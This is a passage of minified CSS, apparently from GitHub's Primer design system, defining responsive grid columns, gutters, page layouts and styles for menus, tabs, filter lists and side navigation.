544px){.col-sm-1{width:8.33333333%}.col-sm-2{width:16.66666666%}.col-sm-3{width:24.99999999%}.col-sm-4{width:33.33333332%}.col-sm-5{width:41.66666665%}.col-sm-6{width:49.99999998%}.col-sm-7{width:58.33333331%}.col-sm-8{width:66.66666664%}.col-sm-9{width:74.99999997%}.col-sm-10{width:83.3333333%}.col-sm-11{width:91.66666663%}.col-sm-12{width:100%}}@media(min-width: 768px){.col-md-1{width:8.33333333%}.col-md-2{width:16.66666666%}.col-md-3{width:24.99999999%}.col-md-4{width:33.33333332%}.col-md-5{width:41.66666665%}.col-md-6{width:49.99999998%}.col-md-7{width:58.33333331%}.col-md-8{width:66.66666664%}.col-md-9{width:74.99999997%}.col-md-10{width:83.3333333%}.col-md-11{width:91.66666663%}.col-md-12{width:100%}}@media(min-width: 1012px){.col-lg-1{width:8.33333333%}.col-lg-2{width:16.66666666%}.col-lg-3{width:24.99999999%}.col-lg-4{width:33.33333332%}.col-lg-5{width:41.66666665%}.col-lg-6{width:49.99999998%}.col-lg-7{width:58.33333331%}.col-lg-8{width:66.66666664%}.col-lg-9{width:74.99999997%}.col-lg-10{width:83.3333333%}.col-lg-11{width:91.66666663%}.col-lg-12{width:100%}}@media(min-width: 1280px){.col-xl-1{width:8.33333333%}.col-xl-2{width:16.66666666%}.col-xl-3{width:24.99999999%}.col-xl-4{width:33.33333332%}.col-xl-5{width:41.66666665%}.col-xl-6{width:49.99999998%}.col-xl-7{width:58.33333331%}.col-xl-8{width:66.66666664%}.col-xl-9{width:74.99999997%}.col-xl-10{width:83.3333333%}.col-xl-11{width:91.66666663%}.col-xl-12{width:100%}}.gutter{margin-right:-16px;margin-left:-16px}.gutter>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-condensed{margin-right:-8px;margin-left:-8px}.gutter-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-spacious{margin-right:-24px;margin-left:-24px}.gutter-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}@media(min-width: 544px){.gutter-sm{margin-right:-16px;margin-left:-16px}.gutter-sm>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-sm-condensed{margin-right:-8px;margin-left:-8px}.gutter-sm-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-sm-spacious{margin-right:-24px;margin-left:-24px}.gutter-sm-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 768px){.gutter-md{margin-right:-16px;margin-left:-16px}.gutter-md>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-md-condensed{margin-right:-8px;margin-left:-8px}.gutter-md-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-md-spacious{margin-right:-24px;margin-left:-24px}.gutter-md-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1012px){.gutter-lg{margin-right:-16px;margin-left:-16px}.gutter-lg>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-lg-condensed{margin-right:-8px;margin-left:-8px}.gutter-lg-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-lg-spacious{margin-right:-24px;margin-left:-24px}.gutter-lg-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1280px){.gutter-xl{margin-right:-16px;margin-left:-16px}.gutter-xl>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-xl-condensed{margin-right:-8px;margin-left:-8px}.gutter-xl-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-xl-spacious{margin-right:-24px;margin-left:-24px}.gutter-xl-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}.offset-1{margin-left:8.33333333% !important}.offset-2{margin-left:16.66666666% !important}.offset-3{margin-left:24.99999999% !important}.offset-4{margin-left:33.33333332% !important}.offset-5{margin-left:41.66666665% !important}.offset-6{margin-left:49.99999998% !important}.offset-7{margin-left:58.33333331% !important}.offset-8{margin-left:66.66666664% !important}.offset-9{margin-left:74.99999997% !important}.offset-10{margin-left:83.3333333% !important}.offset-11{margin-left:91.66666663% !important}@media(min-width: 544px){.offset-sm-1{margin-left:8.33333333% !important}.offset-sm-2{margin-left:16.66666666% !important}.offset-sm-3{margin-left:24.99999999% !important}.offset-sm-4{margin-left:33.33333332% !important}.offset-sm-5{margin-left:41.66666665% !important}.offset-sm-6{margin-left:49.99999998% !important}.offset-sm-7{margin-left:58.33333331% !important}.offset-sm-8{margin-left:66.66666664% !important}.offset-sm-9{margin-left:74.99999997% !important}.offset-sm-10{margin-left:83.3333333% !important}.offset-sm-11{margin-left:91.66666663% !important}}@media(min-width: 768px){.offset-md-1{margin-left:8.33333333% !important}.offset-md-2{margin-left:16.66666666% !important}.offset-md-3{margin-left:24.99999999% !important}.offset-md-4{margin-left:33.33333332% !important}.offset-md-5{margin-left:41.66666665% !important}.offset-md-6{margin-left:49.99999998% !important}.offset-md-7{margin-left:58.33333331% !important}.offset-md-8{margin-left:66.66666664% !important}.offset-md-9{margin-left:74.99999997% !important}.offset-md-10{margin-left:83.3333333% !important}.offset-md-11{margin-left:91.66666663% !important}}@media(min-width: 1012px){.offset-lg-1{margin-left:8.33333333% !important}.offset-lg-2{margin-left:16.66666666% !important}.offset-lg-3{margin-left:24.99999999% !important}.offset-lg-4{margin-left:33.33333332% !important}.offset-lg-5{margin-left:41.66666665% !important}.offset-lg-6{margin-left:49.99999998% !important}.offset-lg-7{margin-left:58.33333331% !important}.offset-lg-8{margin-left:66.66666664% !important}.offset-lg-9{margin-left:74.99999997% !important}.offset-lg-10{margin-left:83.3333333% !important}.offset-lg-11{margin-left:91.66666663% !important}}@media(min-width: 1280px){.offset-xl-1{margin-left:8.33333333% !important}.offset-xl-2{margin-left:16.66666666% !important}.offset-xl-3{margin-left:24.99999999% !important}.offset-xl-4{margin-left:33.33333332% !important}.offset-xl-5{margin-left:41.66666665% !important}.offset-xl-6{margin-left:49.99999998% !important}.offset-xl-7{margin-left:58.33333331% !important}.offset-xl-8{margin-left:66.66666664% !important}.offset-xl-9{margin-left:74.99999997% !important}.offset-xl-10{margin-left:83.3333333% !important}.offset-xl-11{margin-left:91.66666663% !important}}.Layout{display:grid;--Layout-sidebar-width: 220px;--Layout-gutter: 16px;grid-auto-flow:column;grid-template-columns:auto 0 minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter)));grid-gap:var(--Layout-gutter)}@media(max-width: calc(544px - 0.02px)){.Layout{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout .Layout-sidebar,.Layout .Layout-divider,.Layout .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--divided{--Layout-gutter: 0}.Layout.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(768px - 0.02px)){.Layout.Layout--flowRow-until-md{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-md .Layout-sidebar,.Layout.Layout--flowRow-until-md .Layout-divider,.Layout.Layout--flowRow-until-md .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-md.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(1012px - 0.02px)){.Layout.Layout--flowRow-until-lg{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-lg .Layout-sidebar,.Layout.Layout--flowRow-until-lg .Layout-divider,.Layout.Layout--flowRow-until-lg .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}.Layout .Layout-sidebar{grid-column:1}.Layout .Layout-divider{display:none}.Layout .Layout-main{grid-column:2/span 2}@media(min-width: 1012px){.Layout{--Layout-gutter: 24px}}.Layout.Layout--gutter-none{--Layout-gutter: 0px}.Layout.Layout--gutter-condensed{--Layout-gutter: 16px}@media(min-width: 1012px){.Layout.Layout--gutter-spacious{--Layout-gutter: 32px}}@media(min-width: 1280px){.Layout.Layout--gutter-spacious{--Layout-gutter: 40px}}@media(min-width: 544px){.Layout{--Layout-sidebar-width: 220px}}@media(min-width: 768px){.Layout{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout{--Layout-sidebar-width: 296px}}@media(min-width: 768px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 240px}}@media(min-width: 1012px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 320px}}@media(min-width: 1280px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 336px}}.Layout.Layout--sidebarPosition-start .Layout-sidebar{grid-column:1}.Layout.Layout--sidebarPosition-start .Layout-main{grid-column:2/span 2}.Layout.Layout--sidebarPosition-end{grid-template-columns:minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter))) 0 auto}.Layout.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout.Layout--sidebarPosition-end .Layout-sidebar{grid-column:2/span 2}.Layout.Layout--divided .Layout-divider{display:block;grid-column:2;width:1px;margin-right:-1px;background:var(--color-border-default)}.Layout.Layout--divided .Layout-main{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-sidebar{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout-divider{display:none;width:1px}.Layout-sidebar{width:var(--Layout-sidebar-width)}.Layout-main{min-width:0}.Layout-main .Layout-main-centered-md,.Layout-main .Layout-main-centered-lg,.Layout-main .Layout-main-centered-xl{margin-right:auto;margin-left:auto}.Layout-main .Layout-main-centered-md>.container-md,.Layout-main .Layout-main-centered-md>.container-lg,.Layout-main .Layout-main-centered-md>.container-xl,.Layout-main .Layout-main-centered-lg>.container-md,.Layout-main .Layout-main-centered-lg>.container-lg,.Layout-main .Layout-main-centered-lg>.container-xl,.Layout-main .Layout-main-centered-xl>.container-md,.Layout-main .Layout-main-centered-xl>.container-lg,.Layout-main .Layout-main-centered-xl>.container-xl{margin-left:0}.Layout-main .Layout-main-centered-md{max-width:calc(768px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-lg{max-width:calc(1012px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-xl{max-width:calc(1280px + var(--Layout-sidebar-width) + var(--Layout-gutter))}:root{--Layout-pane-width: 220px;--Layout-content-width: 100%;--Layout-template-columns: 1fr var(--Layout-pane-width);--Layout-template-areas: "content pane";--Layout-column-gap: 16px;--Layout-row-gap: 16px;--Layout-outer-spacing-x: 0px;--Layout-outer-spacing-y: 0px;--Layout-inner-spacing-min: 0px;--Layout-inner-spacing-max: 0px}.PageLayout{display:block;margin:var(--Layout-outer-spacing-y) var(--Layout-outer-spacing-x)}@media(min-width: 768px){.PageLayout.PageLayout--panePos-start{--Layout-template-columns: var(--Layout-pane-width) minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap)));--Layout-template-areas: "pane content"}.PageLayout.PageLayout--panePos-end{--Layout-template-columns: minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap))) var(--Layout-pane-width);--Layout-template-areas: "content pane"}.PageLayout .PageLayout-header--hasDivider{padding-bottom:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-bottom:1px solid var(--color-border-default)}.PageLayout .PageLayout-footer--hasDivider{padding-top:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-top:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start .PageLayout-pane{border-right:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-right:calc(var(--Layout-column-gap) - 1px);margin-right:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-content{margin-left:var(--Layout-column-gap)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end .PageLayout-pane{border-left:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-left:calc(var(--Layout-column-gap) - 1px);margin-left:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-content{margin-right:var(--Layout-column-gap)}.PageLayout .PageLayout-pane--sticky{position:sticky;top:0;max-height:100vh;overflow:auto;scrollbar-width:thin}@supports(max-height: 100dvh){.PageLayout .PageLayout-pane--sticky{max-height:100dvh}}.PageLayout [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap));margin-right:auto;margin-left:auto}.PageLayout.PageLayout--hasPaneDivider [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap)*2)}.PageLayout.PageLayout--panePos-start [class^=PageLayout-content-centered-]>[class^=container-]{margin-left:0}.PageLayout.PageLayout--panePos-end [class^=PageLayout-content-centered-]>[class^=container-]{margin-right:0}.PageLayout .PageLayout-content-centered-sm{--Layout-content-width: 544px}.PageLayout .PageLayout-content-centered-md{--Layout-content-width: 768px}.PageLayout .PageLayout-content-centered-lg{--Layout-content-width: 1012px}.PageLayout .PageLayout-content-centered-xl{--Layout-content-width: 1280px}}@media(min-width: 768px)and (min-width: 544px){.PageLayout{--Layout-pane-width: 220px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout{--Layout-pane-width: 296px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 240px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 320px}}@media(min-width: 768px)and (min-width: 1280px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 336px}}@media(max-width: 767.98px){.PageLayout.PageLayout--responsive-stackRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content" "pane"}.PageLayout.PageLayout--responsive-stackRegions.PageLayout--responsive-panePos-start{--Layout-template-areas: "pane" "content"}.PageLayout.PageLayout--responsive-separateRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content{--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content .PageLayout-pane{display:none}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane{--Layout-template-areas: "pane"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .PageLayout-content{display:none}.PageLayout .PageLayout-region--dividerNarrow-line-before{position:relative;margin-top:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-before::before{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);top:calc(-1px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-line-after{position:relative;margin-bottom:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-after::after{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);bottom:calc(-1px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before{position:relative;margin-top:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before::after{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);top:calc(-8px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after{position:relative;margin-bottom:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after::before{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);bottom:calc(-8px - var(--Layout-row-gap))}}.PageLayout-wrapper{display:grid;grid:auto-flow/1fr;row-gap:var(--Layout-row-gap)}.PageLayout-columns{display:grid;column-gap:var(--Layout-column-gap);row-gap:var(--Layout-row-gap);grid-template-columns:var(--Layout-template-columns);grid-template-rows:1fr;grid-template-areas:var(--Layout-template-areas)}.PageLayout-columns .PageLayout-content{padding-right:var(--Layout-inner-spacing-max);padding-left:var(--Layout-inner-spacing-max);grid-area:content}.PageLayout-columns .PageLayout-pane{grid-area:pane}.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 16px}@media(min-width: 1012px){.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 24px;--Layout-outer-spacing-y: 24px}}.PageLayout--outerSpacing-condensed{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 16px}.PageLayout--innerSpacing-normal{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}@media(min-width: 1012px){.PageLayout--innerSpacing-normal{--Layout-inner-spacing-max: 24px}}.PageLayout--innerSpacing-condensed{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}.PageLayout--columnGap-normal{--Layout-column-gap: 16px}@media(min-width: 1012px){.PageLayout--columnGap-normal{--Layout-column-gap: 24px}}.PageLayout--columnGap-condensed{--Layout-column-gap: 16px}.PageLayout--columnGap-none{--Layout-column-gap: 0px}.PageLayout--rowGap-normal{--Layout-row-gap: 16px}@media(min-width: 1012px){.PageLayout--rowGap-normal{--Layout-row-gap: 24px}}.PageLayout--rowGap-none{--Layout-row-gap: 0px}.PageLayout--rowGap-condensed{--Layout-row-gap: 16px}.PageLayout-header,.PageLayout-content,.PageLayout-pane,.PageLayout-footer{padding:var(--Layout-inner-spacing-min)}.Link{color:var(--color-accent-fg)}.Link:hover{text-decoration:underline;cursor:pointer}.Link:focus,.Link:focus-visible{outline-offset:0}.Link--primary{color:var(--color-fg-default) !important}.Link--primary:hover{color:var(--color-accent-fg) !important}.Link--secondary{color:var(--color-fg-muted) !important}.Link--secondary:hover{color:var(--color-accent-fg) !important}.Link--muted{color:var(--color-fg-muted) !important}.Link--muted:hover{color:var(--color-accent-fg) !important;text-decoration:none}.Link--onHover:hover{color:var(--color-accent-fg) !important;text-decoration:underline;cursor:pointer}.Link--secondary:hover [class*=color-fg],.Link--primary:hover [class*=color-fg],.Link--muted:hover [class*=color-fg]{color:inherit !important}.menu{margin-bottom:16px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.menu-item{position:relative;display:block;padding:8px 16px;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-item:first-child{border-top:0;border-top-left-radius:6px;border-top-right-radius:6px}.menu-item:first-child::before{border-top-left-radius:6px}.menu-item:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.menu-item:last-child::before{border-bottom-left-radius:6px}.menu-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.menu-item:active{background-color:var(--color-canvas-subtle)}.menu-item.selected,.menu-item[aria-selected=true],.menu-item[aria-current]:not([aria-current=false]){cursor:default;background-color:var(--color-menu-bg-active)}.menu-item.selected::before,.menu-item[aria-selected=true]::before,.menu-item[aria-current]:not([aria-current=false])::before{position:absolute;top:0;bottom:0;left:0;width:2px;content:"";background-color:var(--color-primer-border-active)}.menu-item .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted);text-align:center}.menu-item .Counter{float:right;margin-left:4px}.menu-item .menu-warning{float:right;color:var(--color-attention-fg)}.menu-item .avatar{float:left;margin-right:4px}.menu-item.alert .Counter{color:var(--color-danger-fg)}.menu-heading{display:block;padding:8px 16px;margin-top:0;margin-bottom:0;font-size:inherit;font-weight:600;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-heading:hover{text-decoration:none}.menu-heading:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.menu-heading:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.tabnav{margin-top:0;margin-bottom:16px;border-bottom:1px solid var(--color-border-default)}.tabnav-tabs{display:flex;margin-bottom:-1px;overflow:auto}.tabnav-tab{display:inline-block;flex-shrink:0;padding:8px 16px;font-size:14px;line-height:23px;color:var(--color-fg-muted);text-decoration:none;background-color:transparent;border:1px solid transparent;border-bottom:0;transition:color .2s cubic-bezier(0.3, 0, 0.5, 1)}.tabnav-tab.selected,.tabnav-tab[aria-selected=true],.tabnav-tab[aria-current]:not([aria-current=false]){color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 6px 0 0}.tabnav-tab.selected .octicon,.tabnav-tab[aria-selected=true] .octicon,.tabnav-tab[aria-current]:not([aria-current=false]) .octicon{color:inherit}.tabnav-tab:hover{color:var(--color-fg-default);text-decoration:none;transition-duration:.1s}.tabnav-tab:focus,.tabnav-tab:focus-visible{border-radius:6px 6px 0 0 !important;outline-offset:-6px}.tabnav-tab:active{color:var(--color-fg-muted)}.tabnav-tab .octicon{margin-right:4px;color:var(--color-fg-muted)}.tabnav-tab .Counter{margin-left:4px;color:inherit}.tabnav-extra{display:inline-block;padding-top:10px;margin-left:10px;font-size:12px;color:var(--color-fg-muted)}.tabnav-extra>.octicon{margin-right:2px}a.tabnav-extra:hover{color:var(--color-accent-fg);text-decoration:none}.tabnav-btn{margin-left:8px}.filter-list{list-style-type:none}.filter-list.small .filter-item{padding:6px 12px;font-size:12px}.filter-list.pjax-active .filter-item{color:var(--color-fg-muted);background-color:transparent}.filter-list.pjax-active .filter-item.pjax-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item{position:relative;display:block;padding:8px 16px;margin-bottom:4px;overflow:hidden;font-size:14px;color:var(--color-fg-muted);text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;border-radius:6px}.filter-item:hover{text-decoration:none;background-color:var(--color-canvas-subtle)}.filter-item.selected,.filter-item[aria-selected=true],.filter-item[aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item.selected:focus,.filter-item[aria-selected=true]:focus,.filter-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item.selected:focus:not(:focus-visible),.filter-item[aria-selected=true]:focus:not(:focus-visible),.filter-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.filter-item.selected:focus-visible,.filter-item[aria-selected=true]:focus-visible,.filter-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item .count{float:right;font-weight:600}.filter-item .bar{position:absolute;top:2px;right:0;bottom:2px;z-index:-1;display:inline-block;background-color:var(--color-neutral-subtle)}.SideNav{background-color:var(--color-canvas-subtle)}.SideNav-item{position:relative;display:block;width:100%;padding:12px 16px;color:var(--color-fg-default);text-align:left;background-color:transparent;border:0;border-top:1px solid var(--color-border-muted)}.SideNav-item:first-child{border-top:0}.SideNav-item:last-child{box-shadow:0 1px 0 var(--color-border-default)}.SideNav-item::before{position:absolute;top:0;bottom:0;left:0;z-index:1;width:2px;pointer-events:none;content:""}.SideNav-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.SideNav-item:active{background-color:var(--color-canvas-subtle)}.SideNav-item[aria-current]:not([aria-current=false]),.SideNav-item[aria-selected=true]{background-color:var(--color-sidenav-selected-bg)}.SideNav-item[aria-current]:not([aria-current=false])::before,.SideNav-item[aria-selected=true]::before{background-color:var(--color-primer-border-active)}.SideNav-icon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.SideNav-subItem{position:relative;display:block;width:100%;padding:4px 0;color:var(--color-accent-fg);text-align:left;background-color:transparent;border:0}.SideNav-subItem:hover{color:var(--color-fg-default);text-decoration:none}.SideNav-subItem[aria-current]:not([aria-current=false]),.SideNav-subItem[aria-selected=true]{font-weight:500;color:var(--color-fg-default)}.subnav{margin-bottom:20px}.subnav::before{display:table;content:""}.subnav::after{display:table;clear:both;content:""}.subnav-bordered{padding-bottom:20px;border-bottom:1px solid var(--color-border-muted)}.subnav-flush{margin-bottom:0}.subnav-item{position:relative;float:left;padding:5px 16px;font-weight:500;line-height:20px;color:var(--color-fg-default);border:1px solid var(--color-border-default)}.subnav-item+.subnav-item{margin-left:-1px}.subnav-item:hover,.subnav-item:focus{text-decoration:none;background-color:var(--color-canvas-subtle)}.subnav-item.selected,.subnav-item[aria-selected=true],.subnav-item[aria-current]:not([aria-current=false]){z-index:2;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.subnav-item.selected:focus,.subnav-item[aria-selected=true]:focus,.subnav-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.subnav-item.selected:focus:not(:focus-visible),.subnav-item[aria-selected=true]:focus:not(:focus-visible),.subnav-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.subnav-item.selected:focus-visible,.subnav-item[aria-selected=true]:focus-visible,.subnav-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px 